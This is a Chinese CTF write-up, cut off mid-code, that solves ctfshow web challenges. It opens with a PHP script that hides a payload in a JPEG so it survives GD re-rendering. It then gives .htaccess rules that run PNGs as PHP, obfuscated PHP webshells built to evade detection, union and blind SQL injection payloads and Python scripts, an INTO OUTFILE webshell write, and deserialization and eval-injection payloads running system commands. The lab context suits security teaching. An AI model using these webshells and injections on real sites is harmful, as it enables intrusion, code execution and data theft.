if (! extension_loaded ( 'gd' ) || ! function_exists ( 'imagecreatefromjpeg' )) {
die ( 'php-gd is not installed' );
}
if (! isset ( $argv [ 1 ])) {
die ( 'php jpg_payload.php <jpg_name.jpg>' );
}
set_error_handler ( "custom_error_handler" );
for ( $pad = 0 ; $pad < 1024 ; $pad ++) {
$nullbytePayloadSize = $pad ;
$dis = new DataInputStream ( $argv [ 1 ]);
$outStream = file_get_contents ( $argv [ 1 ]);
$extraBytes = 0 ;
$correctImage = TRUE ;
if ( $dis -> readShort () != 0xFFD8 ) {
die ( 'Incorrect SOI marker' );
}
while ((! $dis -> eof ()) && ( $dis -> readByte () == 0xFF )) {
$marker = $dis -> readByte ();
$size = $dis -> readShort () - 2 ;
$dis -> skip ( $size );
if ( $marker === 0xDA ) {
$startPos = $dis -> seek ();
$outStreamTmp =
substr ( $outStream , 0 , $startPos ) .
$miniPayload .
str_repeat ( " \0 " , $nullbytePayloadSize ) .
substr ( $outStream , $startPos );
checkImage ( '_' . $argv [ 1 ], $outStreamTmp , TRUE );
if ( $extraBytes !== 0 ) {
while ((! $dis -> eof ())) {
if ( $dis -> readByte () === 0xFF ) {
if ( $dis -> readByte !== 0x00 ) {
break ;
}
}
}
$stopPos = $dis -> seek () - 2 ;
$imageStreamSize = $stopPos - $startPos ;
$outStream =
substr ( $outStream , 0 , $startPos ) .
$miniPayload .
substr (
str_repeat ( " \0 " , $nullbytePayloadSize ) .
substr ( $outStream , $startPos , $imageStreamSize ),
0 ,
$nullbytePayloadSize + $imageStreamSize - $extraBytes ) .
substr ( $outStream , $stopPos );
} elseif ( $correctImage ) {
$outStream = $outStreamTmp ;
} else {
break ;
}
if ( checkImage ( 'payload_' . $argv [ 1 ], $outStream )) {
die ( 'Success!' );
} else {
break ;
}
}
}
}
unlink ( 'payload_' . $argv [ 1 ]);
die ( 'Something \' s wrong' );
function checkImage ( $filename , $data , $unlink = FALSE ) {
global $correctImage ;
file_put_contents ( $filename , $data );
$correctImage = TRUE ;
imagecreatefromjpeg ( $filename );
if ( $unlink )
unlink ( $filename );
return $correctImage ;
}
function custom_error_handler ( $errno , $errstr , $errfile , $errline ) {
global $extraBytes , $correctImage ;
$correctImage = FALSE ;
if ( preg_match ( '/( \d + ) extraneous bytes before marker/' , $errstr , $m )) {
if ( isset ( $m [ 1 ])) {
$extraBytes = ( int ) $m [ 1 ];
}
}
}
class DataInputStream {
private $binData ;
private $order ;
private $size ;
public function __construct ( $filename , $order = false , $fromString = false ) {
$this -> binData = '' ;
$this -> order = $order ;
if (! $fromString ) {
if (! file_exists ( $filename ) || ! is_file ( $filename ))
die ( 'File not exists [' . $filename . ']' );
$this -> binData = file_get_contents ( $filename );
} else {
$this -> binData = $filename ;
}
$this -> size = strlen ( $this -> binData );
}
public function seek () {
return ( $this -> size - strlen ( $this -> binData ));
}
public function skip ( $skip ) {
$this -> binData = substr ( $this -> binData , $skip );
}
public function readByte () {
if ( $this -> eof ()) {
die ( 'End Of File' );
}
$byte = substr ( $this -> binData , 0 , 1 );
$this -> binData = substr ( $this -> binData , 1 );
return ord ( $byte );
}
public function readShort () {
if ( strlen ( $this -> binData ) < 2 ) {
die ( 'End Of File' );
}
$short = substr ( $this -> binData , 0 , 2 );
$this -> binData = substr ( $this -> binData , 2 );
if ( $this -> order ) {
$short = ( ord ( $short [ 1 ]) << 8 ) + ord ( $short [ 0 ]);
} else {
$short = ( ord ( $short [ 0 ]) << 8 ) + ord ( $short [ 1 ]);
}
return $short ;
}
public function eof () {
return ! $this -> binData ||( strlen ( $this -> binData ) === 0 );
}
}
?>
# 用法 php exp.php a.png
注意这个开头的写马的 php 语句,可以大大提高成功率,不要随意改动
首先上传一张图片
然后访问下载下来被二次渲染过的图,保存为 jpg 格式。
确保该图片和脚本文件在同一目录下,使用命令行
php test . php qq . jpg
# 仅作格式演示
显示 Success 说明生成成功,在该目录下会得到 payload 文件。
之后上传上去,抓包执行命令即可。注意更改请求方法为 post!
需要注意的是,jpg 图片马制作很容易失败无法执行(不是本身容易失败而是制作好了了,但是不一定有用),需要多试试不同的图片。
web166(zip 写马)查看源代码可知只能是 zip 文件
那么直接写一句话然后正常上传,之后开启抓包点击下载文件,在重发器中拿 flag。
记得修改请求方式为 post。
web167(.htaccess)hint:httpd
提示已经告诉了我们方向,尝试之后发现是 htaccess
于是重写解析规则:
法 1
AddType application/x-httpd-php . png
# 将.png后缀的文件解析 成php
法 2
<FilesMatch "png" >
SetHandler application/x-httpd-php
</FilesMatch>
# 带png的解析成php
上传好.htaccess 文件之后然后正常上传带马图片拿 flag。
web168-170(免杀)一些免杀姿势:
<?php
$a = "s#y#s#t#e#m" ;
$b = explode ( "#" , $a );
$c = $b [ 0 ] . $b [ 1 ] . $b [ 2 ] . $b [ 3 ] . $b [ 4 ] . $b [ 5 ];
$c ( $_REQUEST [ 1 ]);
?>
<?php
$a = substr ( '1s' , 1 ) . 'ystem' ;
$a ( $_REQUEST [ 1 ]);
?>
<?php
$a = strrev ( 'metsys' );
$a ( $_REQUEST [ 1 ]);
?>
<?php
$a = $_REQUEST [ 'a' ];
$b = $_REQUEST [ 'b' ];
$a ( $b );
?>
168 题的话,也可以直接使用
不出意外是拿到一个假 flag。真的改文件名了
169 170 用日志包含
# .user.ini
auto_append_file= "/var/log/nginx/access.log"
sql 注入 有回显的单引号包含//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '" . $_GET [ 'id' ] . "' limit 1;" ;
最重要的还是最后一句
and id = '".$_GET[' id ']."' limit 1 ; ";
这里简单的单引号包括变量 id 很容易出现注入:
# get传:
id = 1 ' order by 4 --+
这一句中的
是起一个注释截止的作用。因为单引号在包含的时候,由于我们闭合了最开始的那个单引号,那么后面有个单引号就没有被闭合,这里用 --+ (-- 是注释,+ 相当于一个空格)这样就能让后面单引号被注释。还有别的注释符号:#
而这一句本身的作用可以说是判断列数,一般列数都是 3 列这样子,可以一个个试。
然后就可以搜查数据库名字了:
- 1 ' union select 1,2,database() --+
假设搜查到的数据库为:
构造语句搜查数据库中的表:
- 1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' ctf_web ' --+
假设得到的表名:
构造语句查看字段:
- 1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' ctf_user ' --+
假设得到字段:
查看字段值:
- 1 ' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
一般到这一步就能得到 flag 了。
这里用的到语句中有几个函数或者说方法需要注意一下:
group_concat 可以将所有的tables 提取出来
information_schema 是mysql特有的库,存储各种数据库的信息
web171-173(单引号包括)判断列数
之后常规查数据库名:
1 ' union select 1,2,database() --+
查看库中表名:
- 1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web ' --+
查看表中字段:
- 1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user ' --+
查看字段值:
- 1 ' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
得到 flag。
web174(数字过滤 replac / 盲注)查询语句
//拼接sql语句查找指定ID用户
$ sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '" .$_GET['id']. "' limit 1;" ;
返回逻辑
//检查结果是否有flag
if (! preg_match ( '/flag/i' , json_encode ( $ret ))){
$ret [ 'msg' ]= '查询成功' ;
}
可以进行尝试,如:
- 1 ' union select ' a ',' b
# 如果是- 1 ' union select ' a ',' b ',' c 则会失败
因为是 union 联合查询,需要保持和前面的语句是同样的 2 个句列。
可以发现 sql 语句是成功注入的,接着就开始想办法绕过这个匹配数字的正则,这里可以用笨办法也可以盲注尝试。
解 1. 数字字符替换(replace)
# 因为0-9的数字在键盘上有对应的字符,比如:2对应@,所以可以尝试将所有数字替换成对应的字符。
# 结合上述的试探,可以知道select 'a' , 'b 其中的这个b部分才是真正出flag的地方,我们需要在这里构造替换payload
-1' union select 'a' ,b.password from ctfshow_user4 as b where b.username = 'flag' ; --+
# 构造b.password部分:
replace (b.password, 1 , "!" )
replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace (b.password, 0 , ")" ), 9 , "(" ), 8 , "*" ), 7 , "&" ), 6 , "^" ), 5 , "%" ), 4 , "$" ), 3 , "#" ), 2 , "@" ), 1 , "!" )
如果不确定是否构造正确可以去本地跑
select username, password from ctfshow_user4 where username != 'flag' and id = '-1' union select 'a' , replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace (b.password, 0 , ")" ), 9 , "(" ), 8 , "*" ), 7 , "&" ), 6 , "^" ), 5 , "%" ), 4 , "$" ), 3 , "#" ), 2 , "@" ), 1 , "!" ) from ctfshow_user4 as b where b.username = 'flag' ; --+
这是我本地的表结构:
mysql> select * from user;
+ ----+----------+---------------------------+
| id | username | password |
+ ----+----------+---------------------------+
| 1 | 1 | 11 |
| 2 | 2 | 5316516 |
| 3 | flag | flag{y0u_ar1_r1ally_g0od} |
| 4 | admin1 | flag_not_me |
+ ----+----------+---------------------------+
4 rows in set ( 0 . 02 sec)
查询语句:
select username, password from user where username != 'flag' and id = '-1' union select 'a' , replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace ( replace (b.password, "0" , ")" ), "9" , "(" ), "8" , "*" ), "7" , "&" ), "6" , "^" ), "5" , "%" ), "4" , "$" ), "3" , "#" ), "2" , "@" ), "1" , "!" ) from user as b where b.username = 'flag' ;
返回结果:
# 预期:
flag{y)u_ar!_r!ally_g)od}
# 实际:
+ ----------+---------------------------+
| username | password |
+ ----------+---------------------------+
| a | flag{y)u_ar!_r!ally_g)od} |
+ ----------+---------------------------+
1 row in set ( 0 . 04 sec)
理论可行开始尝试
# payload
- 1 ' union select ' a ',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!") from ctfshow_user4 as b where b.username = ' flag ';--+
尝试之后发现并没有预期得到结果,于是抓包查看是否正确提交,最后发现我们的这个 payload 太长,并没有被提交完全,于是自己抓包重新提交:
# payload
%2d% 31 % 27 % 20 % 75 %6e% 69 %6f%6e% 20 % 73 % 65 %6c% 65 % 63 % 74 % 20 % 27 % 61 % 27 %2c% 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 72 % 65 % 70 %6c% 61 % 63 % 65 % 28 % 62 %2e% 70 % 61 % 73 % 73 % 77 %6f% 72 % 64 %2c% 22 % 30 % 22 %2c% 22 % 29 % 22 % 29 %2c% 22 % 39 % 22 %2c% 22 % 28 % 22 % 29 %2c% 22 % 38 % 22 %2c% 22 %2a% 22 % 29 %2c% 22 % 37 % 22 %2c% 22 % 26 % 22 % 29 %2c% 22 % 36 % 22 %2c% 22 %5e% 22 % 29 %2c% 22 % 35 % 22 %2c% 22 % 25 % 22 % 29 %2c% 22 % 34 % 22 %2c% 22 % 24 % 22 % 29 %2c% 22 % 33 % 22 %2c% 22 % 23 % 22 % 29 %2c% 22 % 32 % 22 %2c% 22 % 40 % 22 % 29 %2c% 22 % 31 % 22 %2c% 22 % 21 % 22 % 29 % 20 % 66 % 72 %6f%6d% 20 % 63 % 74 % 66 % 73 % 68 %6f% 77 %5f% 75 % 73 % 65 % 72 % 34 % 20 % 61 % 73 % 20 % 62 % 20 % 77 % 68 % 65 % 72 % 65 % 20 % 62 %2e% 75 % 73 % 65 % 72 %6e% 61 %6d% 65 % 20 %3d% 20 % 27 % 66 %6c% 61 % 67
# decode:
- 1 ' union select ' a ',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!") from ctfshow_user4 as b where b.username = ' flag
最终得到 flag:
ctfshow{^c!a@#$)-ffce-$bdb-a#^d-^(fa$%)$#((@}
可以自己写脚本,也可以手动替换得到:
ctfshow{6c1a2340-ffce-4bdb-a36d-69fa45043992}
解 2. 盲注(todo) 解 3. 写入 shell(见 web175) web175(匹配全 ASCII 字符,写马)查询语句:
# 拼接sql语句查找指定ID用户
$ sql = "select username,password from ctfshow_user5 where username !='flag' and id = '" .$_GET['id']. "' limit 1;" ;
返回逻辑:
# 检查结果是否有flag
if (!preg_match( '/[\x00-\x7f]/i' , json_encode($ret))){
$ret['msg']= '查询成功' ;
}
这里的 \x00-\x7f 匹配的是 ASCII 字符集中的任意字符
也就是说正常的办法是没有用了,只好尝试写文件之类的:
# payload
- 1 ' union select 1,"<?php eval($_POST[1]);?>" into outfile ' /var/www/html/ 1 .php
之后访问 1.php 文件即可连上找 flag。
进行数据库操作:
数据库的密码可以在 1.php 的页面 getshell 之后找到:
1 = system ( "tac ./api/config.php" );
添加之后直接搜索即可:
web176(or 万能密码)payload:
web177(空格过滤)将空格用注释 /**/ 代替
- 1 '/**/union/**/select/**/' a ',' b ',c.password/**/from/**/ctfshow_user/**/as/**/c/**/where/**/username=' flag ';%23
web178(/**/ 和空格过滤 反引号绕过)- 1 '%0aunion%0aselect' 1 ',' 2 ',(select`password`from`ctfshow_user`where`username`=' flag ');%23
sql 语句中,表名、字段名、数据库名等可用反引号 (`),也可以不使用反引号 ,但如果它包含特殊字符或保留字,则必须使用,如果不使用就会报错 。所以反引号是用来区分 Mysql 的保留字与普通字符的。
这道题巧用反引号可绕过空格过滤。
web179- 1 '%0cunion%0cselect' 1 ',' 2 ',(select`password`from`ctfshow_user`where`username`=' flag ');%23
web180(%23 过滤)999 'union%0cselect' 1 ',(select`password`from`ctfshow_user`where`username`=' flag '),' 3
web181(or 绕过)过滤规则给写出来了:
function waf ( $str ){
return preg_match ( '/ | \* | \x 09| \x 0a| \x 0b| \x 0c| \x 00| \x 0d| \x a0| \x 23| \# |file|into|select/i' , $str );
}
由于这里 select 被过滤,那么联合查询不可用,但是根据这里写出的规则,可以尝试万能密码:
- 1 '%0cor%0cusername=' flag
web182(like 模糊查询)//对传入的参数进行了过滤
function waf ( $str ){
return preg_match ( '/ | \* | \x 09| \x 0a| \x 0b| \x 0c| \x 00| \x 0d| \x a0| \x 23| \# |file|into|select|flag/i' , $str );
}
虽然匹配了 flag 但是可以模糊查询:
- 1 '%0cor%0cusername%0clike%0c' %fla%
web183(无回显盲注)function waf ( $str ){
return preg_match ( '/ | \* | \x 09| \x 0a| \x 0b| \x 0c| \x 0d| \x a0| \x 00| \# | \x 23|file| \= |or| \x 7c|select|and|flag|into/i' , $str );
}
查询语句:
$ sql = "select count(pass) from " .$_POST['tableName']. ";" ;
经过试探,知道表名没变还是 ctfshow_user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests
import string
import time
# 并发限制每秒不超过5个请求
url= "http://8785e5ba-d571-46c4-bb5d-36d14dada5b2.challenge.ctf.show/select-waf.php"
flagstr=string.digits+string.ascii_lowercase+ "{_-}"
# string.digits是包含数字0-9
# string.ascii_lowercase包含所有小写字符
flag= ''
for i in range ( 1 , 45 ):
print (i)
for j in flagstr:
data={
'tableName' : f '(ctfshow_user)where(pass)regexp("^ctfshow { flag+j } ")'
}
r=requests.post(url, data =data)
time.sleep( 0.3 )
if ( "user_count = 1" in r.text):
print ( "-------------------->" + j + " is right" )
flag+=j
break
print (flag)
web184function waf ( $str ){
return preg_match ( '/ \* | \x 09| \x 0a| \x 0b| \x 0c| \0 x0d| \x a0| \x 00| \# | \x 23|file| \= |or| \x 7c|select|and|flag|into|where| \x 26| \' | \" |union| \` |sleep|benchmark/i' , $str );
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requests
import string
import time
# 并发限制每秒不超过5个请求
url= "http://4de16589-58a4-46b8-98ce-3d86c624175a.challenge.ctf.show/select-waf.php"
flagstr=string.digits+string.ascii_lowercase+ "{_-}"
# string.digits是包含数字0-9
# string.ascii_lowercase包含所有小写字符
# 由于单引号和双引号都被过滤 需要转hex
def str2hex ( a ):
a1 = ''
a2 = ''
for i in a:
a1 += hex ( ord (i))
a2 = a1.replace( "0x" , "" )
return a2
flag= ''
for i in range ( 1 , 45 ):
print (i)
for j in flagstr:
key = str2hex( f '^ctfshow { flag+j } ' )
data={
'tableName' : f 'ctfshow_user group by pass having pass regexp(0x { key } )'
}
print (data)
r=requests.post(url, data =data)
time.sleep( 0.3 )
#print(r.text)
if ( "user_count = 1" in r.text):
print ( "-------------------->" + j + " is right" )
flag+=j
print (flag)
break
web185-186(true 数字构造 concat 拼接)function waf ( $str ){
return preg_match ( '/ \* | \x 09| \x 0a| \x 0b| \x 0c| \0 x0d| \x a0| \x 00| \# | \x 23|[0-9]|file| \= |or| \x 7c|select|and|flag|into|where| \x 26| \' | \" |union| \` |sleep|benchmark/i' , $str );
}
依旧过滤了单双引号,而且过滤了数字,但是数字可以用 true 和 false 构造,如:
比如想得到 c 而 c 的 ascii 为 99
'c' = char ( concat (true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
关键地方的思路是,用 true 拼接构造出数字,再使用 char 函数转换成字符,最后使用 concat 拼接起来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # -*- coding: utf-8 -*-
# @Author: yu22x
# @Last Modified by: f0ur_lin
# @Last Modified time: 2023-01-16 15:52:15
import requests
import string
url= "http://e0d4d5a9-c5c4-4701-8ad7-517834993ad4.challenge.ctf.show/select-waf.php"
s= '0123456789abcdef- {} '
def convert ( strs ):
t= 'concat('
for s in strs:
t+= 'char(true' + '+true' *( ord (s)- 1 )+ '),'
return t[:- 1 ]+ ")"
flag= ''
for i in range ( 1 , 45 ):
print (i)
for j in s:
d = convert( f '^ctfshow { flag+j } ' )
data={
'tableName' : f ' ctfshow_user group by pass having pass regexp( { d } )'
}
#print(data)
r=requests.post(url, data =data)
#print(r.text)
if ( "user_count = 1" in r.text):
flag+=j
print (flag)
if j== '}' :
exit ( 0 )
break
web187(md5 的 ffifdyop 万能密码)$sql = "select count(*) from ctfshow_user where username = ' $username ' and password= ' $password '" ;
$username = $_POST [ 'username' ];
$password = md5 ( $_POST [ 'password' ], true );
//只有admin可以获得flag
if ( $username != 'admin' ){
$ret [ 'msg' ]= '用户名不存在' ;
die ( json_encode ( $ret ));
}
payload:
ffifdyop
# md5(ffifdyop,true) = 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
登录成功后可以打开 f12 找到 flag(或者抓包)
web188(隐式转换)$sql = "select pass from ctfshow_user where username = { $username }" ;
返回逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //用户名检测
if ( preg_match ( '/and|or|select|from|where|union|join|sleep|benchmark|,| \( | \) | \' | \" /i' , $username )){
$ret [ 'msg' ]= '用户名非法' ;
die ( json_encode ( $ret ));
}
//密码检测
if (! is_numeric ( $password )){
$ret [ 'msg' ]= '密码只能为数字' ;
die ( json_encode ( $ret ));
}
//密码判断
if ( $row [ 'pass' ]== intval ( $password )){
$ret [ 'msg' ]= '登陆成功' ;
array_push ( $ret [ 'data' ], array ( 'flag' => $flag ));
}
这里看逻辑的话,是存在一个隐式转换的。
隐式转换当这个 username 没有用单引号进行包括的话,
$sql = "select pass from ctfshow_user where username = { $username }" ;
刚好表中的 username 是字母等非数字的话,那么在和数字进行比较的时候会被转换成 0:
# username 的值为 admin ,如果这时我们传入username则会恒为真
而我的表结构中除了这两个 password 的 username 为字母外,其他为数字,所以不会被查出:
mysql> select * from user;
+ ----+----------+---------------------------+
| id | username | password |
+ ----+----------+---------------------------+
| 1 | 1 | 11 |
| 2 | 2 | 5316516 |
| 3 | flag | flag{y0u_ar1_r1ally_g0od} |
| 4 | admin1 | flag_not_me |
+ ----+----------+---------------------------+
4 rows in set ( 0 . 03 sec)
而如果我们的表中有 username 为 5admin 这种,那么可以尝试:username = 5
mysql> select username, password from user where username = 5 ;
+ ----------+----------+
| username | password |
+ ----------+----------+
| 5admin | zhangsan |
+ ----------+----------+
1 row in set ( 0 . 03 sec)
可以看到,依旧可以利用隐式转换查询出这个字段的值。
所以这里我们默认 flag 可能藏在 admin 这个字段下,那么我们需要传的 username 就是 0 了
再来看密码部分。
如果真正的密码也是字符而不是数字呢?那么是不是我们只需要也传 password 为 0(也可能是好几个 0 如果有长度限制的话)即可?答案正是如此。
因为我们知道密码既是 flag 值,那么 flag 值算上开头的格式也就不可能时纯数字的了。
所以这题传:
ctfshow_菜鸟杯复现 17. 小舔田?(反序列化)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php
include "flag.php" ;
highlight_file ( __FILE__ );
class Moon {
public $name = "月亮" ;
public function __toString (){
return $this -> name ;
}
public function __wakeup (){
echo "我是" . $this -> name . "快来赏我" ;
}
}
class Ion_Fan_Princess {
public $nickname = "牛夫人" ;
public function call (){
global $flag ;
if ( $this -> nickname == "小甜甜" ){
echo $flag ;
} else {
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家" . $this -> nickname . "。 \n " ;
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! \n " ;
}
}
public function __toString (){
$this -> call ();
return " \t\t\t\t\t\t\t\t\t\t ----" . $this -> nickname ;
}
}
if ( isset ( $_GET [ 'code' ])){
unserialize ( $_GET [ 'code' ]);
} else {
$a = new Ion_Fan_Princess ();
echo $a ;
}
以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人
可能有点长,但已经是最简单的多类了。我们先来进行分析:
首先分析可以作为入口的点是哪,这里有一个 wake_up 魔术方法(反序列化的时候自动调用)。
显然是满足入口条件的。找到入口之后要分析这个入口怎么联动其他方法最终输出 flag。
我们可以按果循因,看 flag 输出需要满足什么条件:
这题 flag 被放在一个 call () 函数中,但是反序列化中这种用户自定义的函数是不会自动调用的,也就是说这个 call () 函数需要被其他方法或者说函数来触发。
继续看,call () 函数还被 Ion_Fan_Princess 类中的 toString 魔术方法调用。那么怎么触发 toString 呢,立即想到 echo 这种打印输出,这个时候发现,欸?wake_up 不是刚好也有 echo 吗?到此逻辑闭合,链路清晰。
具体写法如下:
<?php
class Moon {
public $name ;
}
class Ion_Fan_Princess {
public $nickname = "小甜甜" ;
}
$a = new Moon ();
$b = new Ion_Fan_Princess ();
$a -> name = $b ;
echo serialize ( $a );
?>
payload:
O: 4 : "Moon" : 1 :{s: 4 : "name" ;O: 16 : "Ion_Fan_Princess" : 1 :{s: 8 : "nickname" ;s: 9 : "小甜甜" ;}}
传参 ?code
即可。
1.web 签到 (变量传递 有疑问)<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
highlight_file ( __FILE__ );
eval ( $_REQUEST [ $_GET [ $_POST [ $_COOKIE [ 'CTFshow-QQ群:' ]]]][ 6 ][ 0 ][ 7 ][ 5 ][ 8 ][ 0 ][ 9 ][ 4 ][ 4 ]);
这道题的思路类似于变量覆盖,但不全是。首先写入 Cookie:
name:CTFshow-QQ群: value:a
这里就有 post [a] 存在了,看上层方法是 get,继续传递:
这时就有 get [b] 存在了,继续传递:
此时是 request [c],request 这个可以去搜索了解,这个可以用 get 或者 pos,都是可以的。于是最终变成 request [c],由于 request 是一个包含了_POST、 _GET 和 $_COOKIE 的数组,所以最后 eval 变成:
eval (c[ 6 ][ 0 ][ 7 ][ 5 ][ 8 ][ 0 ][ 9 ][ 4 ][ 4 ])
完整 payload(flag 在根目录):
url:http: //6b67a835-90bb-4e4b-87e3-bd93c12ea118.challenge.ctf.show/?b=c&c[6][0][7][5][8][0][9][4][4]=system('tac /f1agaaa');
post:a=b
Cookie:CTFshow-QQ群:=a
3. 我的眼里只有 $ (变量覆盖)<?php
error_reporting ( 0 );
extract ( $_POST );
eval ( $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_ );
highlight_file ( __FILE__ );
将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 a、 b 和 $c:
<?php
$a = "Original" ;
$my_array = array ( "a" => "Cat" , "b" => "Dog" , "c" => "Horse" );
extract ( $my_array );
echo " \$ a = $a ; \$ b = $b ; \$ c = $c " ;
?>
定义和用法extract () 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract () 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
语法extract ( array ,extract_rules,prefix)
技术细节返回值: 返回成功导入到符号表中的变量数目。 PHP 版本: 4+
这里要注意 $ 包含的变量个数到底有多少个
首先要明确:
$_是一个变量
而 $$_则是最开始的这个$包含一个变量_的意思
所以这里包含了 34 个变量。知道包含了多少个变量之后想办法覆盖,既然题目变量名是下划线,那么也就用增加下划线个数的形式来写变量名。覆盖形如:
长一点的是两个下划线。思路就是这样覆盖,最后会得到
eval ( $________ ... )
//形如这种形式
开始写脚本:
$str = "_=__" ;
echo "_=__&" ;
for ( $i = 0 ; $i < 34 ; $i ++) {
$str = "_" . $str . "_" ;
echo $str . "&" ;
if ( $i == 33 ){
echo explode ( "=" , $str )[ 1 ] . "=system('ls');" ;
}
}
循环终点要设置好,并在循环体内写好 payload 格式,就会得到:
_=__ & __=___ & ___=____ & ____=_____ & _____=______ & ______=_______ & _______=________ & ________=_________ & _________=__________ & __________=___________ & ___________=____________ & ____________=_____________ & _____________=______________ & ______________=_______________ & _______________=________________ & ________________=_________________ & _________________=__________________ & __________________=___________________ & ___________________=____________________ & ____________________=_____________________ & _____________________=______________________ & ______________________=_______________________ & _______________________=________________________ & ________________________=_________________________ & _________________________=__________________________ & __________________________=___________________________ & ___________________________=____________________________ & ____________________________=_____________________________ & _____________________________=______________________________ & ______________________________=_______________________________ & _______________________________=________________________________ & ________________________________=_________________________________ & _________________________________=__________________________________ & __________________________________=___________________________________ & ___________________________________=____________________________________ & ____________________________________= system ( 'ls' );
可以通过 ls 找 flag 所在位置,这里直接贴出位置:
tac 就有了。
flag:
ctfshow{ 392 dad3d- 1 f31- 4378 -a220- 505466 a5e5a8}
变量覆盖小结变量覆盖
一言既出<?php
highlight_file ( __FILE__ );
include "flag.php" ;
if ( isset ( $_GET [ 'num' ])){
if ( $_GET [ 'num' ] == 114514 ){
assert ( "intval( $_GET [num])==1919810" ) or die ( "一言既出,驷马难追!" );
echo $flag ;
}
}
这里是不能用等式构建的,如:
这种是不行的,结果会为 114514 而不能形成想象中的小数点进行一个截断从而成功绕过。
那么怎么做呢?
1. 注释解法我们可以尝试让 intval 直接闭合,不进行后面的 == 判断,assert 断言还是会为真:
这种写法是会通过第一层判断的,因为我们传入的这个字符串会被转换成数字类型,从而没有了后面的字符(only 弱比较)
2. 断言利用我们可以尝试利用断言的机制进行构造。如果你不会断言写法,也不知道什么是断言,你只需要理解断言类似 if,而写法可以观察题目已经写出的断言:
assert ( "intval( $_GET [num])==1919810" ) or die ( "一言既出,驷马难追!" );
形如 assert () or die
知道这种写法之后就可以开始构造语句了,这里是让其为假:
?num= 114514 )== 1 or system ( 'tac flag.php' ); #
记得 url 编码一下,flag 文件名是 ls 命令之后找到的,这里是最终写法。
断言判断为假就会执行后面的命令,另外我们将 die 注释了,程序也就不会停止,所以会运行到下一行,也会输出 flag。
所以总体上来说注释写法是最简单最容易的。
驷马难追<?php
highlight_file ( __FILE__ );
include "flag.php" ;
if ( isset ( $_GET [ 'num' ])){
if ( $_GET [ 'num' ] == 114514 && check ( $_GET [ 'num' ])){
assert ( "intval( $_GET [num])==1919810" ) or die ( "一言既出,驷马难追!" );
echo $flag ;
}
}
function check ( $str ){
return ! preg_match ( "/[a-z]|\;|\(|\)/" , $str );
}
直接异或:
传参就能得到 flag 了。
webshell1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php
error_reporting ( 0 );
class Webshell {
public $cmd = 'echo "Hello World!"' ;
public function __construct () {
$this -> init ();
}
public function init () {
if (! preg_match ( '/flag/i' , $this -> cmd )) {
$this -> exec ( $this -> cmd );
}
}
public function exec ( $cmd ) {
$result = shell_exec ( $cmd );
echo $result ;
}
}
if ( isset ( $_GET [ 'cmd' ])) {
$serializecmd = $_GET [ 'cmd' ];
$unserializecmd = unserialize ( $serializecmd );
$unserializecmd -> init ();
}
else {
highlight_file ( __FILE__ );
}
?>
简单的反序列化啦,真的很简单的啦。flag 过滤可用万能拼接。代码如下:
class Webshell {
public $cmd = "a=g;tac fla \$ a.php" ;
}
$a = new Webshell ();
echo serialize ( $a );
payload:
?cmd=O: 8 : "Webshell" : 1 :{s: 3 : "cmd" ;s: 17 : "a=g;tac fla $a .php" ;}
化零为正1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
highlight_file ( __FILE__ );
include "flag.php" ;
$result = '' ;
for ( $i = 1 ; $i <= count ( $_GET ); $i ++){
if ( strlen ( $_GET [ $i ])> 1 ){
